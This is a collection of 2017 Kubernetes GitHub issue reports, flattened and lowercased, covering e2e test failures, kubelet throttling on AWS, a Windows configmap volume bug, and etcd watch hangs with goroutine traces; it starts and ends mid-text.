gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  }      l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resize_nodes.go:241     issues about this test specifically:  27233  36204   failed:  k8s.io  network partition  disruptive   slow   k8s.io   statefulset  should come back up if node goes down  slow   disruptive  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:407 test panicked /usr/local/go/src/runtime/asm_amd64.s:479     issues about this test specifically:  37373   failed:  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  deployment should scale from 5 pods to 3 pods and from 3 to 1 {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/horizontal_pod_autoscaling.go:44 mar 22 17:16:41.156: timeout waiting 15m0s for pods size to be 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:344     issues about this test specifically:  27406  27669  29770  32642   failed: aftersuite {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:238 test panicked /usr/local/go/src/runtime/asm_amd64.s:479     issues about this test specifically:  29933  34111  38765  43286   failed:  k8s.io  schedulerpredicates  serial  validates that interpodantiaffinity is respected if matching 2 {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:103 expected error:     < errors.errorstring | 0xc42124a010>: {         s: \ 6 / 12 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                   node                                         phase   grace conditions\ heapster-v1.3.0-1288166888-knf0f      gke-bootstrap-e2e-default-pool-7d442a9d-9tv7 pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 17:58:50 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 17:58:50 -0700 pdt containersnotready containers with unready status:  heapster heapster-nanny } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 17:58:50 -0700 pdt  } \ kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } \ kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } \ l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } \ \ ,     }     6 / 12 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                   node                                         phase   grace conditions     heapster-v1.3.0-1288166888-knf0f      gke-bootstrap-e2e-default-pool-7d442a9d-9tv7 pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 17:58:50 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 17:58:50 -0700 pdt containersnotready containers with unready status:  heapster heapster-nanny } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 17:58:50 -0700 pdt  }      kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  }      kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  }      l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:96     issues about this test specifically:  30078  30142   failed:  k8s.io  schedulerpredicates  serial  validates that required nodeaffinity setting is respected if matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:103 expected error:     < errors.errorstring | 0xc420e43700>: {         s: \ 5 / 12 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                   node                                         phase   grace conditions\ kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } \ kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } \ l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } \ \ ,     }     5 / 12 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                   node                                         phase   grace conditions     kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  }      kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  ku

forked from https://github.com/kubernetes/kubernetes/issues/38593.\r \r now that we have flags to disable specific apis  https://github.com/kubernetes/kubernetes/issues/38593 , we should use them to disable alpha apis by default.\r \r cc @kubernetes/sig-federation-bugs

is this a bug report or feature request?    choose one :\r bug\r \r   kubernetes version    use  kubectl version  :\r master branch\r \r   what happened  :\r \r here's the output when we print  quantity  as string.\r \r    \r volume claims:\r   name:\t\twww\r   storageclass:\tanything\r   labels:\t<none>\r   annotations:\tvolume.beta.kubernetes.io/storage-class=anything\r   capacity:\t{{%!s int64=1073741824  %!s resource.scale=0 } {%!s  inf.dec=<nil> } 1gi binarysi}\r   access modes:\t readwriteonce \r    \r \r   what you expected to happen  :\r print  1gi \r \r   how to reproduce it    as minimally and precisely as possible :\r  kubectl describe statefulsets \r \r /assign\r

failure cluster  72ff9bc43c6416491818  https://go.k8s.io/triage 72ff9bc43c6416491818        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\  --minstartuppods=8: exit status 1           failure cluster statistics: 1 tests failed,    46 jobs failed,    253 builds failed. failure stats cover 1 day time range '17 jul 2017 22:16 utc' to '18 jul 2017 22:16 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 46 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-ubuntu-gke | 20 |  18 jul 2017 20:01 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-ubuntu-gke/3359  | | ci-kubernetes-e2e-gke | 20 |  18 jul 2017 20:02 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke/12107  | | ci-kubernetes-e2e-gci-gke | 20 |  18 jul 2017 19:36 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/12441  |   current status  https://go.k8s.io/triage 72ff9bc43c6416491818

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r we run kubernetes in aws. when cluster is scaled up to hundreds of minions,  kubelet  starts to get throttled by aws when it tries to get node metadata and updates status.\r \r    \r jul 20 17:30:38 ip-10-72-34-220.us-west-2.compute.internal kubelet 18998 : e0720 17:30:38.975616   18998 kubelet_node_status.go:302  error updating node status, will retry: failed to get node address from cloud provider: ec2metadataerror: failed to make ec2metadata request\r jul 20 17:30:38 ip-10-72-34-220.us-west-2.compute.internal kubelet 18998 : caused by: <?xml version=\ 1.0\  encoding=\ iso-8859-1\ ?>\r jul 20 17:30:38 ip-10-72-34-220.us-west-2.compute.internal kubelet 18998 : <!doctype html public \ -//w3c//dtd xhtml 1.0 transitional//en\ \r jul 20 17:30:38 ip-10-72-34-220.us-west-2.compute.internal kubelet 18998 :          \ http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd\ >\r jul 20 17:30:38 ip-10-72-34-220.us-west-2.compute.internal kubelet 18998 : <html xmlns=\ http://www.w3.org/1999/xhtml\  xml:lang=\ en\  lang=\ en\ >\r jul 20 17:30:38 ip-10-72-34-220.us-west-2.compute.internal kubelet 18998 :  <head>\r jul 20 17:30:38 ip-10-72-34-220.us-west-2.compute.internal kubelet 18998 :   <title>429 - too many requests</title>\r jul 20 17:30:38 ip-10-72-34-220.us-west-2.compute.internal kubelet 18998 :  </head>\r jul 20 17:30:38 ip-10-72-34-220.us-west-2.compute.internal kubelet 18998 :  <body>\r jul 20 17:30:38 ip-10-72-34-220.us-west-2.compute.internal kubelet 18998 :   <h1>429 - too many requests</h1>\r jul 20 17:30:38 ip-10-72-34-220.us-west-2.compute.internal kubelet 18998 :  </body>\r jul 20 17:30:38 ip-10-72-34-220.us-west-2.compute.internal kubelet 18998 : </html>\r jul 20 17:30:38 ip-10-72-34-220.us-west-2.compute.internal kubelet 18998 : e0720 17:30:38.975633   18998 kubelet_node_status.go:294  unable to update node status: update node status exceeds retry count\r    \r \r because of the failure the minion becomes  notready  and pods become  unknown .\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r run a kubernetes cluster in aws with the flag  --cloud-provider=aws . launch enough minions and this error can be observed.\r \r   anything else we need to know?  :\r in aws, once a vm is launched its node ip is unlikely to change. i think we can add caching here, instead of requesting node ip from aws metadata every time. however there might be other information we need to get from aws on node status update, and caching might not work for those scenarios.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.5.7\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : \ container linux by coreos 1353.7.0  ladybug \ \r - kernel  e.g.  uname -a  :  linux ip-10-72-33-125.us-west-2.compute.internal 4.9.24-coreos  1 smp wed apr 26 21:44:23 utc 2017 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux \r - install tools: terraform\r - others:\r

 @kubernetes/sig-auth-bugs\r @kubernetes/sig-cli-bugs\r the cmdutil package cannot be found in the path \ k8s.io/kubernetes/pkg/kubectl/cmd/util\ .\r \r after diving into kubernetes auth source code, i want to identify from kubectl to kube-proxy at which part, authentication happens in the traffic flow.\r \r according to the documentation, user first send request to identity provider, for example gce using gcloud sdk through oauth2. then users or accounts visit authentication and authorisation server using \ id_token\ , \ access_token\ , \ refresh_token\  for subsequent requests.\r \r    question\r   hence i need track the visiting traffic to find out where  in which package  and when  some part of the codes handles authentication when request coming, http server should be used here .  \r \r it took a few days to go through the relevant codes in following structure\r     bash\r k8s.io\r ├── api/\r │       ...\r ├── kubernetes/\r │   │   ...\r │   ├──\tpkg\r │   │\t│   ...\r │   │   └── apis\r │   │\t    ├── abac\r │   │\t    ├── admission\r │   │\t    │   ..\r │   │\t    ├── authentication\r │   │\t    ├── authorization\r │   │\t    │   ..\r │   │\t    ├── certificates\r │   │\t    │   ...\r │   │\t    └── policy\r │   ├── auth empty \r │   ├── controller\r │   │\t│   ...\r │   │\t└── certificates\r │   │       ├── approver\r │   │       └── signer\r │   ├── plugin\r │   │\t\t\r │   └── cmd\r │   \t...\r ├── apiserver/\r │   │   ...\r │   └── pkg\r │       │   ...\r │       ├── authentiation\r │       │   └── authenticator \r │       │       └── interfaces.go  token, password,  \r │       │       ...\r │       └── autherization\r │           └── authorizaer\r │               └── interfaces.go  attributes \r │               ...\r └── client-go/\r \t\t...\r    \r \r but i still have troubles to identify those issues. sos!\r

the \ monitoring should verify monitoring pods and all cluster nodes are available on influxdb using heapster\  e2e test is failing on our 2k-node gce clusters - https://k8s-testgrid.appspot.com/google-gce-scale gce-large-correctness with the following error:\r \r    \r aug 26 10:19:59.944: info: failed to query list of pods from influxdb. query: \ show tag values from \\\ cpu/usage\\\  with key = pod_name\ , err: an error on the server  \ unknown\   has prevented the request from succeeding  get services monitoring-influxdb:api \r aug 26 10:20:05.019: info: failed to query list of pods from influxdb. query: \ show tag values from \\\ cpu/usage\\\  with key = pod_name\ , err: an error on the server  \ unknown\   has prevented the request from succeeding  get services monitoring-influxdb:api \r    \r \r and from heapster's logs seems like influxdb isn't created:\r \r    \r i0826 10:14:09.250079       9 influxdb.go:241  created database \\\ k8s\\\  on influxdb server at \\\ monitoring-influxdb:8086\\\ \ \r e0826 10:14:51.153347       9 influxdb.go:186  influxdb write failed: post http://monitoring-influxdb:8086/write?consistency=&db=k8s&precision=&rp=default: eof\ \r e0826 10:14:51.155183       9 influxdb.go:190  influxdb ping failed: get http://monitoring-influxdb:8086/ping: dial tcp 10.0.225.172:8086: getsockopt: connection refused\ \r i0826 10:14:51.155201       9 influxdb.go:56  influxdb connection reset\ \r e0826 10:14:51.175833       9 influxdb.go:175  failed to create influxdb: failed to ping influxdb server at \\\ monitoring-influxdb:8086\\\  - get http://monitoring-influxdb:8086/ping: dial tcp 10.0.225.172:8086: getsockopt: connection refused\ \r e0826 10:14:51.196124       9 influxdb.go:175  failed to create influxdb: failed to ping influxdb server at \\\ monitoring-influxdb:8086\\\  - get http://monitoring-influxdb:8086/ping: dial tcp 10.0.225.172:8086: getsockopt: connection refused\ \r ...\r    \r \r cc @kubernetes/sig-instrumentation-bugs @kubernetes/sig-scalability-misc

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug report\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i am working with windows containers. i created a configmap from file using the --from-file flag and then i populate a volume with data stored in a configmap in a pod. the yaml file for this pod is:\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   labels:\r     app: ms-datalocation\r   name: ms-datalocation\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: ms-datalocation\r       name: ms-datalocation\r     spec:\r       containers:\r       - name: datalocationmicroservice\r         image: _<image path>_\r         volumemounts:\r         - name: config-volume\r           mountpath: c:/prom\r       imagepullsecrets:\r       - name: regsecret\r       volumes:\r         - name: config-volume\r           configmap:\r             name: prometheus-kube\r       nodeselector:\r         beta.kubernetes.io/os: windows\r    \r \r then i exec powershell into that pod to verify the volume. i can see the file in that volume but i cannot access it. the error was:\r ! image  https://user-images.githubusercontent.com/9897945/30275775-dba0cdf6-971b-11e7-8e60-d7d7ad3ef425.png \r \r   what you expected to happen  :\r it should print the contents of the file and the file length should not be 0.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a configmap from file.\r 2. deploy a windows container in a pod with a volume populated with the config map.\r 3. run powershell in the pod.\r 4. try to access the file.\r \r   anything else we need to know?  :\r \r   environment  :\r kubernetes with windows worker nodes\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r azure container service\r - os  e.g. from /etc/os-release :\r master node os: linux\r worker nodes os: windows server\r - kernel  e.g.  uname -a  :\r linux master:\r  linux k8s-master-ead988d1-0 4.4.0-93-generic  116-ubuntu smp fri aug 11 21:17:51 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r - others:\r

when the watch cache is disabled, large number of watches against etcd 3.1.x appear to cause hangs on unrelated list calls.  the issue was first observed in openshift 3.6 in very large and dense clusters where tests were being conducted for disabling the watch cache to reduce memory usage  https://bugzilla.redhat.com/show_bug.cgi?id=1489535 .  i was able to observe it in a kube e2e test when i was testing with the watch cache disabled in this run https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/52949/pull-kubernetes-e2e-gce-etcd3/57255/artifacts/e2e-57255-master/kube-apiserver.log of  52949.\r \r list calls to the api server timeout against etcd 3.1.x for longer than 60s:\r \r    \r trace 254194311 :  1m12.484197726s   1m12.484192066s  about to write a response                                                                                                  \r e1003 00:52:37.908802       5 status.go:62  apiserver received an error that is not an metav1.status: http: handler timeout                                                      \r e1003 00:52:37.909036       5 writers.go:143  apiserver was unable to write a json response: http: handler timeout                                                               \r i1003 00:52:37.911932       5 trace.go:76  trace 1124568657 : \ list /api/v1/namespaces/e2e-tests-replicaset-2csdw/serviceaccounts\   started: 2017-10-03 00:51:26.027164841 +0000 \r trace 1124568657 :  1m11.880462423s   1m11.88045551s  listing from storage done                                                                                                  \r e1003 00:52:37.913165       5 status.go:62  apiserver received an error that is not an metav1.status: http: handler timeout                                                      \r e1003 00:52:37.913808       5 writers.go:143  apiserver was unable to write a json response: http: handler timeout                                                               \r e1003 00:52:37.914246       5 writers.go:143  apiserver was unable to write a json response: http: handler timeout                                           \r    \r                    \r my working theory is that disabled watch cache allows too many watches, which then block either the grpc client or the server from serving requests for ranges that intersect.  goroutine traces on the linked bug showed 2k watches waiting for responses from the server.\r \r top 1.6 goroutines:\r \r    \r go_trace_172.31.24.254.txt\r goroutine profile: total 19123\r 1924 @ 0x430dfa 0x440605 0x43f39c 0x373c0af 0x4624b1\r  \t0x373c0ae\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/storage/etcd3.  watchchan .run+0x3ee\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/storage/etcd3/watcher.go:116\r \r 1922 @ 0x430dfa 0x440605 0x43f39c 0x373cf38 0x4624b1\r  \t0x373cf37\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/storage/etcd3.  watchchan .processevent+0x367\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/storage/etcd3/watcher.go:209\r \r 1913 @ 0x430dfa 0x440605 0x43f39c 0x1038910 0x4624b1\r  \t0x103890f\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/clientv3.  watchgrpcstream .servesubstream+0x67f\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/clientv3/watch.go:603\r \r 1911 @ 0x430dfa 0x430eee 0x4082bf 0x407fc5 0x373c624 0x4624b1\r  \t0x373c623\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/storage/etcd3.  watchchan .startwatching+0x1b3\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/storage/etcd3/watcher.go:185\r \r 1873 @ 0x430dfa 0x440605 0x43f39c 0x3eccda4 0x3ecbf92 0x3ed0509 0x37ae088 0x181dfb0 0x182c408 0x1167c04 0x11690ff 0x181e32d 0x24153d6 0x2419f8b 0x25fbe73 0x1167c04 0x25ff142 0x1167c04 0x2613182 0x1167c04 0x25fbcfa 0x1167c04 0x157b9e2 0x1167c04 0x157b8f2 0x1167c04 0x3789a1b 0x1167c04 0x11690ff 0x11690ff 0x157e10d 0x1167c04\r  \t0x3eccda3\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/handlers.  watchserver .servehttp+0xab3\t\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/handlers/watch.go:185\r  \t0x3ecbf91\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/handlers.servewatch+0x6f1\t\t\t\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/handlers/watch.go:110\r  \t0x3ed0508\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/handlers.listresource.func1+0x6a8\t\t\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:331\r  \t0x37ae087\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/metrics.instrumentroutefunc.func1+0x1f7\t\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:102\r  \t0x181dfaf\tgithub.com/openshift/origin/vendor/github.com/emicklei/go-restful.  container .dispatch+0xb9f\t\t\t\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/github.com/emicklei/go-restful/container.go:272\r  \t0x182c407\tgithub.com/openshift/origin/vendor/github.com/emicklei/go-restful.  container . github.com/openshift/origin/vendor/github.com/emicklei/go-restful.dispatch -fm+0x47\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/github.com/emicklei/go-restful/container.go:120\r  \t0x1167c03\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1726\r  \t0x11690fe\tnet/http.  servemux .servehttp+0x7e\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:2022\r  \t0x181e32c\tgithub.com/openshift/origin/vendor/github.com/emicklei/go-restful.  container .servehttp+0x4c\t\t\t\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/github.com/emicklei/go-restful/container.go:287\r  \t0x24153d5\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server.director.servehttp+0x465\t\t\t\t\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/handler.go:150\r  \t0x2419f8a\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server.  director .servehttp+0x8a\t\t\t\t\t\t\t\t\t\t<autogenerated>:58\r  